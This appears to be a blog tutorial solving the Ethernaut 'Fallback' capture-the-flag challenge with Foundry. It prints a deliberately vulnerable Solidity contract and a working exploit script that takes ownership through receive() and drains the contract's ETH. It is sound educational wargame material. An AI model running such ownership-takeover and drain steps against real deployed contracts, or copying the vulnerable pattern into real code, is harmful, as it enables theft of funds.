Ethernaut CTF Fallback (Challenge 1): Foundry Solution 2024

Johnny Time
4 min readNov 29, 2023

--

Ethernaut Fallback Foundry Solution

In this article, we will be solving the “Ethernaut 1 — Fallback” challenge with Foundry. I’ll guide you through the entire process.

In case you prefer a video tutorial? I’ve got you covered!

Prerequisites

Before we begin, make sure you’ve completed the following prerequisites:

  1. Watch the first video in this series on how to start with Ethernaut and set up your Foundry local environment for solving challenges:
How to Start with Ethernaut (Using Foundry)
  1. Clone the Ethernaut Foundry Solutions Repository (don’t forget to leave a star on Github 😉)
  2. Subscribe to the JohnnyTime YouTube channel for more tutorials and updates, and check the full Ethernaut Foundry Solutions playlist.
  3. Want to make out of Smart Contract Hacking into a career? Check out the full Smart Contract Hacking Course.

Understanding the Challenge

Ethernaut Fallback

In the Fallback smart contract, our goal is to claim ownership of the contract and then reduce it’s balance to 0 (drain it).

Fallback.sol Smart Contract Overview

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Objectives
// 1. Claim ownership of this contract
// 2. Drain it's ETH

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
  • owner is set to msg.sender in the constructor (we’re not the deployers 😢)
  • withdraw() is protected with onlyOwner modifier, so once we become the owners we can drain the contract.
  • The only place where the contract owner can be changed is in the receive() function to the msg.sedner (the one who calls it).

The Solution

To update the owner using the receive function, you must meet the following requirements:

  1. Send an amount greater than 0 ETH in msg.value (even 1 WEI is sufficient).
  2. Have an entry in the contributions mapping, meaning you must contribute at least 1 WEI to the smart contract.

To achieve this, simply follow these steps:

  1. Invoke the contribute function with a contribution of 1 WEI.
  2. Make a call to the contract without any additional data, sending 1 WEI to trigger the receive function.

Let’s create a new script FallbackSolution.s.sol in our Foundry project in the src\ folder and paste the following solidity code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Fallback.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract FallbackSolution is Script {

Fallback public fallbackInstance = Fallback(payable(YOUR_INSTANCE_ADDRESS));

function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));

fallbackInstance.contribute{value: 1 wei}();
address(fallbackInstance).call{value: 1 wei}("");
console.log("New Owner: ", fallbackInstance.owner());
console.log("My Address: ", vm.envAddress("MY_ADDRESS"));
fallbackInstance.withdraw();

vm.stopBroadcast();
}
}

Make sure to update YOUR_INSTANCE_ADDRESS with the instance address that you received from the Ethernaut website.

This script first calls the contribute function with 1 WEI and then triggers the default receive() function by making a low-level call to the contract with 1 WEI.

Solving the Challenge

Now that the exploit script is ready, we can execute from our terminal the following command:

forge script script/FallbackSolution.s.sol --broadcast

Now, after our transaction was submitted and main on the Goerli blockchain, we can go to the ethernaut challenge page and click “Submit Instance”:

Submitting Ethernaut Fallback Challenge

And congratulation! You completed the second Ethernaut challenge 🥳

Ethernaut Fallback Solved!

Don’t Forget

  1. Follow me on Medium for more awesome articles and tutorials.
  2. Subscribe to the JohnnyTime YouTube channel for more tutorials and updates, and check the full Ethernaut Foundry Solutions playlist.
  3. Become a Certified Smart Contract Hacker

See you in the next tutorial! 😉

--

--

No responses yet